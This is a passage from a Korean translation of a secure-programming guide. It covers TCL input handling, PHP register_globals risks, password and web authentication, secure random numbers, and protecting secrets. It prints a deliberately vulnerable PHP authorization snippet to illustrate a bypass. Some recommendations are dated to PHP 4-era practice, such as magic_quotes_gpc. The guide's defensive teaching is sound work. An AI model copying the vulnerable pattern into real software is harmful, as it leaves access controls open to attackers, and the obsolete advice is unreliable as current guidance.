(문자열) 만이 있다는 TCL 개념은 프로그램을 느리게 만들뿐 아니라 많은 프로그램의 작성을 어렵게 만들 수 있다. 또한 저자가 TCL 프로그램을 작성했을 때 악의있는 입력 문자열이 다루기 어렵고 예기치 않은 동작을 일으킬 수있는 TCL 프로그램을 우연히 작성하는 것이 쉬움을 발견했다. 예를 들어 공격자는 내장 스페이스, 이중 인용 부호, curly braces, dollar signs 또는 brackets 과 같이 TCL 에 특별한 의미를 갖는 문자를 TCL 에 보냄으로써 예기지 않은 일을 하게끔 (또는 이러한 문자들이 처리중에 생성되게끔 하는 입력을 생성하게끔) 할 수도 있다. 따라서 저자는 보안 목적을 위한 프로그램을 작성할 때 TCL 을 추천하지 않는다. 그렇게 하려면 특히 사용자 입력이 프로그램을 속일 수 없음을 보증하는데 주의해라. 다른 한편으로 저자는 TCL 프로그램이 모바일 코드를 구현하는 데 사용될 수 없는 어떠한 이유도 모른다. 저자보다 더욱 많은 사용을 옹호하는 TCL 지지자도 분명히 있으며 TCL 은 이미 만들어진 sandbox 구현을 갖고 있는 얼마 안되는 언어중의 하나이다.

9.8. PHP

SecureReality 는 "A Study in Scarlet - Exploiting Common Vulnerabilities in PHP" 라는 매우 흥미로운 논문을 발표하였다 [Clowes 2001]. 이 논문은 PHP, 특히 PHP 4.1.0 이전 버전에서 보안적인 프로그램을 작성하는데 있어서 다소의 문제들을 논의하고 있다. Clowes 는 ``디폴트 PHP 설정에서 보안적인 PHP 애플리케이션을 작성하는 것은 각자 노력한다고 하더라도 매우 어렵다" 고 결론지었다.

모든 언어에 보안 문제가 있다고 하더라도 PHP 에는 PHP 를 대부분의 언어들보다 비보안적이게 하는 한가지 특별한 문제가 있다; 이는 데이타를 이름공간에 적재하는 방식이다. 디폴트로 PHP (버전 4.1.0 이하) 에서는 웹을 통해 PHP 로 보내지는 모든 환경 변수 및 값이 일반적인 변수들이 적재되는 동일한 이름공간 (전역변수) 내로 자동적으로 적재된다 - 따라서 공격자는 임의의 변수에 임의의 값을 설정할 수 있으며 PHP 프로그램이 명시적으로 재설정하지 않는다면 이 값이 유지된다. 게다가 PHP 는 처음 요청될 때 디폴트 값을 갖는 변수를 자동적으로 생성하는데 따라서 PHP 프로그램이 변수를 초기화하지 않는 것이 일반적이다. 변수 설정을 하지 않는 경우 PHP 가 이를 보고할 수는 있지만 디폴트로 그렇게 하지 않을 것이다 - 이는 단순히 에러 보고로 이러한 에러를 야기하는 예외적인 방식을 발견한 공격자를 막지 못할 것음을 주목해라. 따라서 디폴트로 PHP 는 프로그램이 공격자를 무시하기 위해 특별히 주의를 하지 않는다면 공격자가 프로그램내의 모든 변수 값을 완전히 제어할 수 있도록 한다. 일단 공격자가 프로그램을 제어하게 된다면 이러한 변수를 재설정할 수 있으며 따라서 각자 어떤 변수(명확하진 않지만 적어도 한개의 변수) 를 재설정하지 못한다면 PHP 프로그램을 취약하게 만들 수도 있다.

예를 들어 다음 PHP 프로그램 (Clowes 로부터의 예제) 은 패스워드를 알고 있는 사람들에게 단지 어떤 중요한 정보를 얻도록 하지만 공격자는 그 사람들의 웹 브라우저에 ``auth" 를 설정해 인가 검사를 파괴할 수 있다:

 <?php
  if ($pass == "hello")
   $auth = 1;
  ...
  if ($auth == 1)
   echo "some important information";
 ?>

저자와 많은 사람들은 이러한 특별히 위험한 문제에 대해 푸념해왔지만 이는 PHP 가 널리 사용되고 있기 때문에 특별한 문제이다. 결국 사용하기 쉽다고 알려진 언어는 보안적인 프로그램 작성을 더욱 쉽게한다. PHP 에서 ``register_globals" 를 ``off" 로 설정함으로써 이러한 잘못된 특징을 금지하는 것은 가능하지만 디폴트로 4.1.0 이상의 PHP 버전은 이를 ``on" 으로 설정하며 4.1.0 이전 PHP 버전은 register_globals 를 off 설정하는 경우 더욱 사용하기 어렵다. PHP 개발자들은 4.1.0 버전 발표에서 ``다음 semi-major 버전에서는 PHP 의 신규 설치시 디폴트로 register_globals 를 off 로 설정할 것이다" 라고 공표했다.

``register_globals" 가 ``on" 으로 설정되어 있는 경우 중요한 프로그램에 대해 PHP 는 위험하다 - 비보안적인 프로그램을 작성하는 것이 너무나도 쉽다. 그러나 ``register_globals" 가 일단 ``off" 로 설정된다면 PHP 는 합당한 개발 언어이다.

보안적인 디폴트는 ``register_globals" 를 ``off" 로 설정해야 하며 또한 사용자들이 외부 출처로부터 받아들일 수 있는 입력을 지정하고 제한하는 것을 더욱 쉽게 하는 몇몇 함수를 포함해야 한다. 아파치와 같은 웹 서버들은 이러한 보안적인 PHP 설치를 개별적으로 설정할 수 있다. 사용자들이 받아들이길 원하는 입력 변수를 열거하기 쉽게 하는 루틴들이 PHP 라이브러리에 놓일 수도 있다; 몇몇 함수들은 이러한 변수들이 가져야하는 패턴 및/또는 요구되는 변수 타입을 검사해야 한다. 저자 의견으로는 PHP (register_globals 가 on 으로 설정) 는 현재 훌륭한 보안적인 웹 개발 언어는 아니다. 그러나 합당한 개발 언어로 사용되도록 쉽게 수정될 수 있다.

PHP 를 사용하기로 한 경우 다음은 얼마간의 저자의 충고이다 (이러한 충고 중 많은 부분은 Clowes 가 제기한 문제에 대처하기 위한 방법에 기초한다):

• PHP 설정 옵션 ``register_globals" 를 off 로 설정하고 PHP 4.1.0 이상 버전을 사용해라. PHP 4.1.0 에는 몇몇 특별한 배열이 추가되어 있는데, 특히 $_REQUEST 는 ``register_globals" 가 off 로 설정되어 있을 때 PHP 로 소프트웨어를 개발하는 것을 더욱 간단하게 한다. register_globals 를 설정함으로써 대부분의 일반적인 PHP 공격을 완전히 제거할 수 있는데 이러한 설정이 신규 설치시의 디폴트가 될 때까지 이에 대비해라. register_globals 가 off 로 설정되어 있다고 가정하더라도 이를 우선적으로 검사해야 하며 그렇지 않은 경우는 중지해야 한다 - 이렇게 함으로써 프로그램을 설치한 사람들은 문제가 있음을 재빨리 알아차릴 것이다. 이러한 설정시 작동하는 제삼자 (third-party) 의 PHP 애플리케이션은 거의 없음을 주목해라. 따라서 현재 전체 웹 사이트에 대해 이를 off 로 유지하기는 힘들다. 또한 ``register_globals" 를 금지하는 것이 제삼자에 의해 호스트되고 있을 때는 더욱더 어렵다. 단지 몇몇 프로그램에 대해서만 register_globals 를 off 로 설정하는 것이 가능한데 예를 들어 아파치의 경우 PHP 디렉토리내의 .htaccess 파일에 다음을 삽입할 수 있다 (또는 이를 더욱 제어하기 위해 Directory 지시를 사용해라).

  php_flag register_globals Off php_flag track_vars On

  그러나 아파치 웹 서버가 override 를 허가하도록 설정되어 있지 않다면 .htaccess 파일 자체는 무시된다; 대개 아파치 전역 설정이 되어 있어 AllowOverride 는 None 으로 설정되어 있다. 따라서 아파치 사용자를 위해 웹 호스팅 서비스가 설정 파일 (대개 /etc/http/conf/http.conf) 내에 ``AllowOver 옵션" 을 설정하도록 한다면 그렇게 해라. 그 후 필요한 데이타 적재를 간단하게 하기 위해 helper 함수를 작성해라.

• 널리 사용되고 있는 PHP 애플리케이션을 실행시키면서 register_globals 가 on 으로 설정될 수도 있는 소프트웨어를 개발해야 한다면 사용자가 제공하지 않은 값을 언제나 설정하지 마라. PHP 디폴트 값에 의존하지 말고 명시적으로 설정하지 않은 모든 변수를 신뢰하지 마라. 모든 시작 부분 (예, 모든 PHP 프로그램 또는 PHP 를 사용하는 HTML 파일) 에 대해 이를 해야 함을 주목해라. 가장 좋은 접근 방법은 사용할 모든 변수들을 간단히 평범한 디폴트 값 ( "" 또는 0) 으로 재설정할 예정이라도 이들을 설정함으로써 각각의 PHP 프로그램을 시작하는 것이다. 이는 포함됨 파일내에서 참조되거나 모든 라이브러리내에서 과도적이라도 참조되는 전역 변수를 포함한다. 불행히도 자신들이 호출하는 모든 함수에 의해 사용될 수도 있는 모든 전역 변수를 정확히 알거나 이해하는 개발자들은 거의 없기 때문에 위의 충고대로 하는 것은 어렵다. 한가지 대안은 사용자가 데이타를 제공했는지 알아보기 위해 HTTP_GET_VARS, HTTP_POST_VARS, HTTP_COOKIE_VARS 및 HTTP_POST_FILES 를 검색하는 것이다 - 그러나 대개 프로그래머들은 모든 소스를 검사하는 것을 잊어버리는데 PHP 가 새로운 데이타 소스 (HTTP_POST_FILES 는 예전 PHP 버전에는 없다) 를 추가한다면 어떤 일이 일어나겠는가.

• 에러 보고 수준을 E_ALL 로 설정하고 테스팅 동안에 보고된 모든 에러를 해결해라. 다른 무엇보다도 이는 PHP 에서의 주요 문제인 초기화되지 않은 변수들에 대해 에러를 보고할 것이다. 이는 프로그램을 디버깅하는데 도움을 주기 때문에 PHP 를 사용하려고 할 때 좋은 개념이다. 에러 보고 수준을 설정하는 방법은 많이 있는데 이는 ``php.ini" 파일 (전역), ``.httpd.conf" 파일 (단일 호스트), ``.htaccess" 파일 (다중 호스트) 또는 error-reporting 함수를 통해 스크립트의 상단을 포함한다. 저자는 php.ini 파일 및 스크립트 상단 모두에 에러 보고 수준을 설정하라고 권한다: 이렇게 함으로써 (1) 스크립트 상단에 명령을 넣는 것을 잊는 경우 또는 (2) 프로그램을 다른 머신으로 옮기고 php.ini 파일 변경을 잊는 경우 보호받을 수 있다. 따라서 모든 PHP 프로그램은 다음과 같이 시작해야 한다:

  <?php error_reporting(E_ALL);?>

  이러한 에러 보고는 개발시 설정되어야 하고 실제 사이트에서 실행될 때는 해제되어야 한다고 (에러 메시지가 공격자에 유용한 정보를 제공할 수 있기 때문에) 주장할 수도 있다. 문제는 ``실제 사용"시 에러 보고 기능이 금지된다면 개발시 금지된채 남아있기가 쉽다는 것이다. 따라서 저자는 에러 보고 수준이 설정될 수 있는 모든 파일에 단순히 이를 포함하는 간단한 방법을 제안한다.

• 특히 원격 파일 접근을 예방하기 위해 파일 이름 생성에 사용되는 모든 사용자 정보를 필터링해라. PHP 는 다른 언어에서 로컬 파일만을 단지 오픈할 수 있는 fopen() 과 같은 파일-오프닝 명령이 다른 사이트로부터의 웹 또는 ftp 요청을 수행하는데 사용될 수 있음을 의미하는 ``remote filew" 기능성이 디폴트로 설정되어 있다.

• 예전 스타일의 파일 업로드를 사용하지 마라; HTTP_POST_FILES 배열과 관련된 함수를 사용해라. PHP 는 특별한 이름을 갖는 어떤 임시디렉토리에 파일을 업로드함으로써 파일 업로드를 지원한다. PHP 는 그 파일 이름이 존재했던 곳을 가리키기 위해 원래 많은 변수들을 설정한다. 그러나 공격자가 변수 이름 및 그 값을 제어할 수 있기 때문에 이들을 사용해 커다란 악영향을 야기할 수 있다. 대신 업로드된 파일에 접근하기 위해서는 언제나 HTTP_POST_FILES 및 관련된 함수를 사용해라. 이 경우라도 PHP 는 공격자가 임의의 내용을 갖는 파일을 업로드할 수 있게 하며 이는 그 자체로 위험함을 주목해라.

• 단지 보호된 시작 파일 (entry point) 들만 문서 트리내에 놓아라; 모든 다른 코드 (대부분의 코드일 것이다) 는 문서 트리 외부에 놓아라. PHP 는 이 주제에 일련의 잘못된 충고를 하였다. 원래 PHP 사용자는 ``포함 (included)" 파일에 ``.inc" (include) 확장자를 사용한다고 가정되었다. 그러나 이러한 포함 파일은 대개 패스워드와 다른 정보를 갖고 있으며 아파치는 ``.inc" 파일이 문서 트리내에 있을 때 요청된 경우 요청자에게 이 파일의 내용을 제공할 것이다. 따라서 개발자들은 모든 파일의 확장자를 ``.php" 로 하였다 - 이는 파일 내용이 보여지지 않지만 entry point 가 전혀 아닌 파일이 entry point 가 되어 악용될 수 있음을 의미한다. 초기에 언급했듯이 보통의 보안 충고가 최선이다: 단지 보호된 entry points 만 문서 트리내에 놓고 라이브러리 등의 다른 코드는 문서 트리 외부에 놓아라. 문서 트리내에 어떠한 ``.inc" 파일도 있어서는 안된다.

• 세션 메카니즘을 피해라. ``세션" 메카니즘은 영구적인 데이타를 저장하는데 유용하지만 현재 구현은 많은 문제를 갖고 있다. 우선 디폴트로 세션은 임시 파일에 정보를 저장한다 - 따라서 multi-hosted 시스템에 있다면 많은 공격자에 노출될 수 있으며 비밀이 누설될 수 있다. 현재 multi-hosted 되고 있지 않은 사람일지라도 나중에 multi-hosted 되고 있는 자신을 발견할 수도 있다. 이러한 정보를 파일시스템 대신 데이타베이스에 연결시킬 수 있지만 multi-hosted 데이타베이스의 다른 사람들이 동일한 허가권을 갖고 그 데이타베이스에 접근할 수 있다면 문제는 동일하다. 주의하지 않는 경우 애매모호한 점이 있는데 (``세션값인지 아니면 공격자의 값인지?") 이는 공격자에게 그들이 선택한 내용을 갖고 있는 파일 또는 키를 서버에 놓을 수 있도록 한다. 또한 이는 공격자가 이러한 자료가 놓일 파일 또는 키의 이름을 어느 정도 제어할 수 있게 한다.

• 모든 입력에 대해 다른 언어에서와 같이 받아들일 수 있는지 패턴과의 일치 여부를 검사하고 그 후 문자열이 아닌 데이타를 요구되는 타입으로 맞추기 위해 타입 캐스팅을 사용해라. (예상되는) 입력의 선택된 리스트를 쉽게 검사하고 import 하기 위해 ``helper" 함수를 개발해라. PHP 는 부정확하게 타입이 정해질 수 있는데 (loosely-typed) 이는 문제를 야기할 수 있다. 예를 들어 입력 데이타가 "000" 값을 갖는다면 이는 "0" 와 같지 않으며 또한 empty() 도 아니다. 이는 특히 결합 (associative) 배열의 경우 중요한데 이들의 인덱스가 문자열이기 때문이다; 이는 $data["000"] 과 $data["0"] 이 다르다는 것을 의미한다. 예를 들어 $bar 가 double 타입임을 확인하기 위해 (double 에 적합한 포맷을 갖는지 확인한 후) 다음과 같이 해라:

  $bar = (double) $bar;

• 위험한 함수에 특히 주의해라. 코드 실행 함수 (예, require(), include(), eval(), preg_replace()), 명령 실행 함수 (예, exec(),passthru(), backtick 연산자, system() 과 popen()) 과 오픈 파일 함수 (예, fopen(), readfile() 과 file()) 들이 이러한 PHP 함수들이다. 이는 완전한 목록은 아니다!.

• magic_quotes_gpc() 를 사용해라 - 이는 많은 종류의 공격을 제거한다.

10.1. 패스워드

가능한 패스워드를 다루는 프로그램을 작성하지 마라. 특히 애플리케이션이 로컬이라면 통상적인 로그인 인증에 의존하려고 해라. 애플리케이션이 CGI 스크립트라면 가능한 많은 보호를 제공하는 웹서버에 의존하려고 해라 - 그러나 웹 서버에 인증을 다루는 것에 대해 밑부분을 보라. 애플리케이션이 네트워크를 통한 것이라면 패스워드를 가능한 평문으로 보내는 것을 피해라 이는 네트워크 스니퍼에 쉽게 포착되어 추후 재사용될 수 있다. 알고리듬내에 지정된 어떤 키를 사용하거나 어떤 종류의 shrouding 알고리듬을 사용하여 패스워드를 암호화하는 것은 본질적으로 패스워드를 평문으로 보내는 것과 동일하다.

네트워크의 경우는 최소한 다이제스트 (digest) 패스워드 사용을 고려해라. 다이제스트 패스워드는 해시로부터 개발된 패스워드이다; 일반적으로 서버는 클라이언트에 어떤 데이타 (예, 날짜, 시간, 서버 이름) 를 보내고 클라이언트는 이 데이타와 사용자 패스워드를 결합하여 이 값 (다이제스트 패스워드로 지칭된) 을 해시한다. 그 후 단지 해시된 결과만 서버에 보내며 서버는 이 해시 값을 대조한다. 이는 패스워드가 어떤 형태로든 실제로 보내지는 것이 절대로 아니기 때문에 잘 작동한다; 패스워드는 단지 해시 값을 추출하기 위해서만 사용된다. 다이제스트 패스워드는 보편적인 의미에서 암호화로 고려되고 있지 않지만 기밀성을 위해 암호화를 강요하는 법을 갖는 나라에서도 대개 받아들여지고 있다. 다이제스트 패스워드는 적극적인 공격 위협에는 취약하지만 수동적인 네트워크 스니퍼에 대해서는 보호한다. 한가지 약점은 다이제스트 패스워드가 작동하기 위해서 서버가 모든 해시되지 않은 패스워드를 가져야 한다는 것으로 이는 서버를 매력적인 공격 목표로 만든다.

애플리케이션에서 사용자가 패스워드를 설정할 수 있다면 패스워드를 검사해 단지 "안전한" 패스워드만을 허용해라 (예, 사전에 있지 않고 어떤 최소 길이를 갖는 등). 안전한 패스워드를 선택하는 방법에 대해서는 http://consult.cern.ch/writeup/security/security_3.html 와 같은 정보를 보고 싶을 것이다. 가능하다면 PAM 을 사용해야 하는데 이는 장착식 패스워드 체커 (checker) 지원하기 때문이다.

10.2. 웹에서 인증

웹에서 웹 서버는 보통 SSL 및 TLS 또는 서버 인증서를 사용해 사용자에게 인증받는다 - 그러나 사용자가 누구인지를 인증하는 것은 그만큼 쉽지 않다. SSL 과 TLS 는 클라이언트특 인증서를 지원하지만 이들을 실제 사용할 때 많은 현실적인 문제들이 있다 (예, 웹 브라우저는 유일한 사용자 인증서 포맷을 지원하지 않으며 사용자가 이를 설치하기는 어렵다). 자바 및 자바 스크립트를 사용하는 것은 많은 사용자가 이들을 금지하고, 몇몇 방화벽이 이들을 걸러내고 또한 속도가 느려지기 쉽기 때문에 그 특유의 문제를 갖고 있다. 대부분의 경우 모든 사용자에게 플러그인을 설치하도록 요구하는 것 또한 비현실적인데 시스템이 비교적 소수의 사용자들을 위한 인트라넷용이라면 적합할 수도 있다.

인트라넷 애플리케이션을 구축하고 있다면 일반적으로 사용자가 사용하는 인증 시스템만큼은 사용해야 한다. 따라서 Kerberos 에 의존한다면 Kerberos 를 사용하도록 시스템을 설계해라. 관리 기관이 추후 인증 시스템을 변경시킬 수도 있기 (변경시킬 것이기) 때문에 이를 애플리케이션의 나머지 부분과 분리하려고 해라.

많은 방법들은 효과적이지 않으며 또한 충분히 효과적이지 않다. 한가지 접근 방법은 본질적으로 모든 브라우저와 서버에 내장되어 있는 ``기본적인 인증"을 사용하는 것이다. 불행히 기본적인 인증은 패스워드를 평문으로 보내기 때문에 패스워드를 훔치기 쉽게 한다; 기본적인 인증 자체는 실제로 쓸모없는 정보에 대해서만 유용하다. 모든 기본적인 인증 패스워드를 SSL/TLS 연결 (암호화할 수 있다) 내에 감싸서 보호할 수 있지만 이는 성능의 저하를 야기한다. 또한 ``다이제스트 인증"을 사용할 수 있는데 좋은 방법이지만 브라우저가 이를 보편적으로 지원하지 않고 있다. 인증 정보를 사용자가 선택한 URL 내에 저장할 수도 있지만 대부분의 경우 이렇게 하지 않아야 한다 - 이 정보가 다른 사람에게 누설될 수 있는 너무나 많은 방법이 있다 (예, 많은 브라우저에 저장되어 있는 브라우저 히스토리 로그, 프록시의 로그를 통해 누설되거나, 그리고 Referef: 필드를 통해 다른 웹 사이트로 누설될 수도 있다).

따라서 오늘날 웹에서 가장 일반적인 인증 방법은 쿠키를 사용하는 것이다. 쿠키는 실제 이 목적을 위해 설계되지 않았지만 인증에 사용될 수 있다 - 그러나 보안 취약성을 만들기 위해 이들을 사용하는 많은 잘못된 방법이 있기 때문에 주의해라. 쿠키에 대한 더욱 자세하 정보는 이에 대한 예전 스펙과 함께 IETF RFC 2965 를 보라. 쿠키를 사용하기 어떤 브라우저 (예, 마이크로소프트 인터넷 익스플로러 6) 가 프라이버시 프로파일 (서버의 루트 디렉토리에 p3p.xml) 을 가져야 한다고 요구할 수 있음을 주목해라.

어떤 사용자는 쿠키를 받아들이지 않음을 주목해라 따라서 이 방법은 아직까지 다소의 문제를 갖고 있다. 원칙적으로는 이 인증 정보를 HTML 폼의 hidden 필드를 통해 주고받아야 한다 (이는 거의 모든 브라우저가 중요치 않게 이를 지원하기 때문이다). 쿠키를 갖는 것과 같은 동일한 방법을 사용할 것이다 - 단지 데이타를 사용자로부터 서버로 보내기 위해 다른 기술을 사용할 것이다. 물론 이 방법을 구현한다면 이 페이지들이 다른 사람들이 사용할 수 있도록 캐시되지 않음을 보장하는 설정을 포함할 필요가 있다. 그러나 쿠키를 피하는 것이 바람직하다고 저자는 생각하지만 실제로 이러한 다른 방법들은 대개 더욱 더 많은 개발 노력을 필요로 한다. 많은 애플리케이션 개발자들을 위해 이를 대규모로 구현하는 것은 어렵기 때문에 저자는 현재 이러한 방법들을 강조하지 않고 있다. 개발자 또는 사용자에 의해 정확하게 구현될 수 없을 만큼 어려운 방법을 강조하는 대신 꽤 보안적이며 구현하기 쉬운 방법을 기술할 것이다. 그러나 별다른 수고없이 이를 구현할 수 있다면 반드시 폼의 hidden 필드외 암호화된 링크 (예, SSL/TLS) 를 사용해 인증 정보를 전송하는 것을 지원해라.

Fu [2001] 는 제안된 접근 방법과 함께 웹에서의 클라이언트 인증을 논의하고 있다. 이는 대부분의 웹 사이트에 대해 저자가 추천하는 방법이다. 기본적인 개념은 클라이언트 인증을 두 부분 ``로긴 절차 (login procedure)" 와 ``일련의 요청 ( subsequent requests) 으로 나누는 것이다. 로긴 절차에서 서버는 사용자 이름과 패스워드를 요청하고 사용자가 이들을 제공한 후 서버가 ``인증 토큰"을 갖고 응답한다. 일련의 요청에서 클라이언트 (웹 브라우저) 는 서버에 요청과 함께 인증 토큰을 보낸다; 서버는 토큰이 유효한지 확인하고 유효하다면 요청된 서비스를 제공한다. 웹 인증에 대한 다른 좋은 정보 출처는 Seifried [2001] 이다.

  exp=t&data=s&digest=m

10.3. 난수

많은 경우 보안적인 프로그램들은 적이 추측할 수 없는 임의의 숫자 (난수) 를 생성해야 하는데 예로는 많은 프로토콜, salt 등에 사용되는 세션키, 공개 또는 비밀키, 대칭키, nonces 와 IV 들이 있다. 이론상 난수로는 방사선 소멸 (가이거 카운터 클릭의 정확한 계시를 통해), 대기 소음 또는 전선에서의 열 소음에 기초한 값들과 같은 실제 무작위로 얻어진 데이타를 사용해야 한다. 어떤 컴퓨터는 실제 임의의 (random) 값을 생성하는 역할을 하는 하드웨어 컴포넌트를 갖고 있는데 가능하다면 이를 사용해야 한다.

그러나 대부분의 컴퓨터들은 실제 임의의 값들을 생성하는 하드웨어를 갖고 있지 않으며 따라서 대부분의 경우 적이 예측할 수 없을 만큼 충분히 임의적인 난수를 생성할 방법이 필요하다. 일반적으로 이는 다음 세가지를 필요로 함을 의미한다:

• "예측 불가능" 상태; 일반적으로 이는 적이 제어할 수 없는 방식으로 키스트로크, 디스크 드라이브 암 지터 (arm jitter) 등과 같은 하위 수준 디바이스의 타이밍의 변동을 측정함으로써 행해진다.

• 난수를 생성하기 위해 상태를 사용하는 암호학적으로 강력한 준-난수 발생기 (pseudo-randum number generator, PRNG).

• 종자 (seed) 와 사용된 결과 값 모두에 있어 많은 수의 비트. 단지 약간의 가능한 값들을 갖고 있다면 공격자가 brute force 공격을 사용하는 것을 쉽게 하기 때문에 강력한 PRNG 를 갖고 있더라도 쓸모없다. 필요한 비트의 수는 상황에 따라 변하는데 이들이 대개 암호화 키로 사용되기 때문에 키에 대해 보통 경험에 의한 방법이 적용된다. 대칭키 (결과) 의 경우 저자는 적어도 112 비트 (3DES) 를 사용하는데 128 비트는 더욱 좋으며 160 비트 이상은 더욱 더 안전하다.

일반적으로 PRNG 는 상태를 사용해 어떤 값들을 생성한 후 이 값들중의 일부와 다른 추측할 수 없는 입력을 이용해 상태를 갱신한다. 이러한 시스템들을 공격하는 많은 방법들이 있는데 예를 들어 공격자가 상태에 대한 입력들 (또는 이들 중의 일부) 을 제어하거나 볼 수 있다면 공격자는 아마 난수를 결정할 수 있을 수도 있다.

PRNGs 를 사용하는데 있어 진짜 위험한 것은 대부분의 컴퓨터 언어 라이브러리들이 보안 목적에 부적절한 많은 PRNG 를 포함하고 있다는 것이다. 다시 한번 말하자: 보안을 목적으로 할 때 일반적인 난수 발생기를 사용하지 마라. 일반적으로 라이브러리 PRNG 는 모사, 게임 등에 사용하기 위한 것인데 이들은 키 생성과 같은 보안 함수들에 사용할 수 있을 정도로 충분히 임의적이지 않다. 대부분의 비암호화 라이브러리 PRNG 는 선형 합동 발생기 (linear congruential generator) 을 약간 변형시킨 것으로 ``다음" 임의의 값이 (aX+b))mod)m 으로 계산된다 (X 는 이전 값이다). 훌륭한 선형 합동 발생기는 빠르며 유용한 통계적인 성질을 갖고 있어 의도한 사용 목적에 적절하다. 이러한 PRNG 와 관계된 문제는 차후의 값이 임의의 값으로 보임에도 불구하고 공격자에 의해 쉽게 추정될 수 있다는 것이다. 이차 (quadratic) 및 삼차 (cubic) 발생기와 같이 빠르게 난수를 생성하는 다른 알고리듬들도 해독되었다 [Schneier 1996]. 요약하면 보안적인 애플리케이션에서 난수를 생성하기 위해서는 암호학적으로 강력한 PRNG 를 사용해야 한다는 것이다 - 보통의 난수 라이브러리들은 충분하지 않다.

키에 대해 실제로 임의의 값들을 정확히 생성하지 못함으로써 Kerberos, X 윈도우 시스템과 NFS 시스템에서의 보안 구멍을 포함하여 많은 문제를 야기하였다 [Venema 1996].

가능하다면 암호학적으로 보안적인 임의의 값들을 생성하도록 특별히 설계된 일반적으로 운영체제에서 제공하는 시스템 서비스를 사용해야 한다. 예를 들어 리눅스 커널 (1.3.30 이후) 은 난수 발생기를 포함하고 있는데 이는 보안을 목적으로 한 많은 곳에 충분하다. 이 난수 발생기는 디바이스 드라이버와 다른 출처로부터의 환경 노이즈를 엔트로피 풀로 모으는데 /dev/random 으로 접근될 때 임의의 바이트들만이 엔트로피 풀에서 평가된 노이즈 비트수 내에서 반환된다 (엔트로피 풀이 비어있을 때 호출은 추가적인 환경 노이즈가 모여질 때까지 블록된다). /dev/urandom 으로 접근될 때는 엔트로피 풀이 다 고갈되었다 하더라도 요청된 만큼의 바이트들이 반환된다. 리눅스에서 키 생성과 같은 암호화 목적으로 임의의 값들을 사용하려면 /dev/random 을 사용해라. 하드웨어 난수 발생기를 사용할 수 있고 그 드라이버가 설치되어 있다면 이것이 대신 사용될 것임을 주목해라. 더욱 자세한 정보는 시스템 문서 random(4) 에서 얻을 수 있다.

다른 시스템에서는 정말로 임의적인 결과를 얻는 다른 방법으 찾아야 할 것이다. 다른 유닉스 계열 시스템에 대해서는 Entropy Gathering Daemon (EGD) 가 한가지 방법으로 이는 시스템 활동을 감시해 이를 임의적으로 값으로 해시한다; 이는 http://www.lothar.com/tech/crypto 에서 얻을 수 있다. PRNG 출력에 암호화 해시 함수 (예, SHA-1) 의 사용을 고려할 수도 있는데 해시 알고리듬을 사용함으로써 PRNG 가 예측가능하다고 판명되었음에도 불구하고 이는 공격자가 또한 해시 함수도 해독해야 한다는 것을 의미한다.

강력한 PRNG 를 스스로 구현해야 한다면 암호학적으로 강력하며 특허에 얽매이지 않은 PRNG 의 좋은 선택은 Yarrow 알고리듬으로 http://www.counterpane.com/yarrow.html. 에서 Yarrow 에 대해 더욱 자세히 알 수 있다. 약간의 다른 PRNG 도 유용할 수 있지만 널리 사용되고 있는 많은 PRNG 은 애플리케이션에 따라 중요하거나 그렇지 않을 수도 있는 알려진 약점을 갖고 있다. PRNG 를 스스로 구현하기 전에 [Kersey 1998] 과 McGraw [2000a] 와 같은 문헌을 참조해라. 또한IETF RFC 1750 도 조사해야 한다.

10.4. 사용자가 기억하는 비밀 (패스워드 및 키) 을 특히 보호해라

애플리케이션이 패스워드 또는 비공개 키 (세션키, 개인키, 비밀키 등) 를 다뤄야 한다면 이들이 최소한으로 노출되도록 사용한 후 즉각적으로 겹쳐써라. 예를 들어 자바에서 패스워드를 저장하기 위해 문자열 (Sting) 타입을 사용하지 마라 이들은 불변 (immutable) 이기 때문에 가비지 수집 (garbage collection) 및 재사용되기까지 아마도 차후 어느 정도 시간까지는 겹쳐써지지 않을 것이다. 대신 자바에서는 패스워드가 즉시 겹쳐써질 수 있도록 이를 저장하기 위해 char[] 을 사용해라.

또한 프로그램이 그러한 비밀 값들을 다룬다면 ulimit 를 통해 반드시 코어 덤프 생성을 금지해라. 그렇지 않으면 공격자가 프로그램을 정지시켜 데이타 덤프에서 비밀 값을 발견할 수 있을지 모른다. 또한 주의해라 - 일반적으로 프로세스들은 디버거 (예, ptrace(2) 및 /proc 준-파일시스템을 통해) 호출을 통해 다른 프로세스들을 모니터링 할 수 있다 [Venema 1996]. 커널은 프로세스가 setuid 또는 setgid 라면 이러한 모니터링에 대해 보통 보호를 한다 (이러한 보호를 하지 않는 약간의 오래된 시스템에서는 실제로 갱신이외에는 보호할 방법이 없다). 따라서 프로세스가 비밀 값들을 관리한다면 이러한 종류의 모니터링을 강제적으로 금지하기 위해 이를 다른 권한이 없는 그룹 또는 사용자에 대해 setuid 또는 setgid 로 만들어야 한다.

10.5. 암호화 알고리듬 및 프로토콜

대개 암호화 알고리듬과 프로토콜은 시스템을 안전하게 하기 위해 특히 인터넷과 같은 신뢰되지 않은 네트워크를 통해 통신할 때 필요하다. 가능한 정보를 인증하고 정보를 비밀로 유지하기 위해 암호학적인 기법을 사용해라 (단순한 암호화가 또한 자동적으로 인증할 수 있다고 가정하지 마라). 일반적으로 애플리케이션을 안전하게 하기 위해 사용가능한 도구를 사용할 필요가 있다.

배경 정보와 코드에 대해서는 아마도 고전적인 텍스트 ``Applied Cryptography" [Schneier 1996] 를 봐야 한다. 뉴스그룹 ``sci.crypt" 에는 일련의 FAQ 이 있는데 http://www.landfiel d.com/faqs/cryptography-faq 을 포함한 많은 위치에서 이들을 찾을 수 있다. 리눅스에 특정적인 자원들은 http://marc.mutz.com/Encryption-HOWTO/에 있는 Linux Encryption HOWTO 를 포함한다. 프로토콜이 기본적인 알고리듬을 사용하는 방법에 관한 논의는 [Opplinger 1998] 에서 찾을 수 있다. 프로토콜에서 암호학을 적용하는 방법에 관한 유용한 논문 모음은 [Stallings 1996] 에서 찾을 수 있다. 다음은 단지 약간의 설명문으로 이 분야는 상당히 전문화되어 있으며 다른 곳에서 더욱 철저히 다뤄지고 있다.

